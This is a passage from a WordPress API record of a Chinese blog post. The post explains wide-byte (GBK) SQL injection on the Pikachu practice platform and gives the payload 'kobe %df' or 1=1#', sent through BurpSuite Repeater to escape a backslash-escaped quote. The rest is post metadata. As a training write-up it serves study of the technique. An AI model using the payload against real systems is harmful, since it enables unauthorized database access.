\u5f53\u6211\u4eec\u8f93\u5165\u6709\u5355\u5f15\u53f7\u65f6\u88ab\u8f6c\u4e49\u4e3a\\\u2019\uff0c\u65e0\u6cd5\u6784\u9020 SQL \u8bed\u53e5\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u5bbd\u5b57\u8282\u6ce8\u5165\u3002
GBK\u7f16\u7801\u4e2d\uff0c\u53cd\u659c\u6760\u7684\u7f16\u7801\u662f \u201c%5c\u201d\uff0c\u800c \u201c%df%5c\u201d \u662f\u7e41\u4f53\u5b57 \u201c\u9023\u201d\u3002<\/p>\n\n\n\n

\u5728\u76ae\u5361\u4e18\u5e73\u53f0\u4e2d\uff0c\u5c06\u5229\u7528 BurpSuite \u622a\u83b7\u6570\u636e\u5305\uff0c\u53d1\u9001\u5230 Repeater \u4e2d\uff0c\u5728\u91cc\u9762\u5199\u5165 payload
\u5f53\u6211\u4eec\u7528\u901a\u5e38\u7684\u6d4b\u8bd5 payload\u65f6\uff0c\u662f\u65e0\u6cd5\u6267\u884c\u6210\u529f\u7684\uff0c\u4e0b\u9762\u7684payload\u4f1a\u62a5\u9519<\/p>\n\n\n\n

\u6211\u4eec\u53ef\u4ee5\u7528\u4e0b\u9762\u7684payload\uff0c\u5728\u5355\u5f15\u53f7\u524d\u9762\u52a0\u4e0a %df\uff0c\u8ba9\u5355\u5f15\u53f7\u6210\u529f\u9003\u9038<\/p>\n\n\n\n

kobe %df’ or 1=1#<\/em> <\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

<\/p>\n\n\n\n

\u8be6\u7ec6\u7684\u5bbd\u5b57\u8282\u6ce8\u5165\uff1a5. \u5bbd\u5b57\u7b26\u6ce8\u5165\u8be6\u89e3\u4e0e\u5b9e\u6218 – bmjoker – \u535a\u5ba2\u56ed (cnblogs.com)<\/a>
<\/p>\n","protected":false},"excerpt":{"rendered":"

Sql \u6ce8\u5165\u653b\u51fb\u662f\u901a\u8fc7\u5c06\u6076\u610f\u7684 Sql \u67e5\u8be2\u6216\u6dfb\u52a0\u8bed\u53e5\u63d2\u5165\u5230\u5e94\u7528\u7684\u8f93\u5165\u53c2\u6570\u4e2d\uff0c\u518d\u5728\u540e\u53f0 Sql \u670d\u52a1\u5668\u4e0a\u89e3\u6790\u6267 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4],"tags":[],"class_list":["post-165","post","type-post","status-publish","format-standard","hentry","category-pikachu","category-bachanglianxi"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=165"}],"version-history":[{"count":5,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions"}],"predecessor-version":[{"id":208,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/165\/revisions\/208"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=165"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}